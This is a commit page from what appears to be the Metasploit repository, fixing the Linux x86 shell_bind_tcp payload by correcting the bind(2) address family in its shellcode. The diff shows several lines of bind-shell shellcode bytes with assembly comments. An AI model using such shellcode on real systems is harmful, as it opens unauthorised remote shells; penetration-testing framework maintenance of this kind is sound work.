Skip to content

Commit 828f377

Browse files
committed
Fix linux shell_bind_tcp payload
It was calling bind(2) with a family of 0x02ff, which makes no sense and causes execution to fall off the end and segfault. Fix it by replacing 0x02ff with the appropriate 0x0002, or AF_INET. [Fixrm rapid7#7216]
1 parent 7afd470 commit 828f377

File tree

1 file changed

+8
-1
lines changed

1 file changed

+8
-1
lines changed

modules/payloads/singles/linux/x86/shell_bind_tcp.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,6 +37,13 @@ def initialize(info = {})
3737
{
3838
'LPORT' => [ 21, 'n' ],
3939
},
40+
# TODO: Payload source needs serious cleanup. This payload was
41+
# originally generated from
42+
# external/source/unixasm/lin-x86-bndsockcode.s which supposedly
43+
# worked when it was initially committed. Nevertheless, it was
44+
# calling bind(2) with insane parameters, which ended up erroring out
45+
# and causing execution to fall off the end of the shellcode,
46+
# bursting into flames. See #7216, #7224
4047
'Payload' =>
4148
"\x31\xdb" +# xorl %ebx,%ebx #
4249
"\xf7\xe3" +# mull %ebx #
@@ -50,7 +57,7 @@ def initialize(info = {})
5057
"\x5b" +# popl %ebx #
5158
"\x5e" +# popl %esi #
5259
"\x52" +# pushl %edx #
53-
"\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff #
60+
"\x68\x02\x00\x04\xd2" +# pushl $0xd2040200 #
5461
"\x6a\x10" +# pushl $0x10 #
5562
"\x51" +# pushl %ecx #
5663
"\x50" +# pushl %eax #

0 commit comments

Comments
 (0)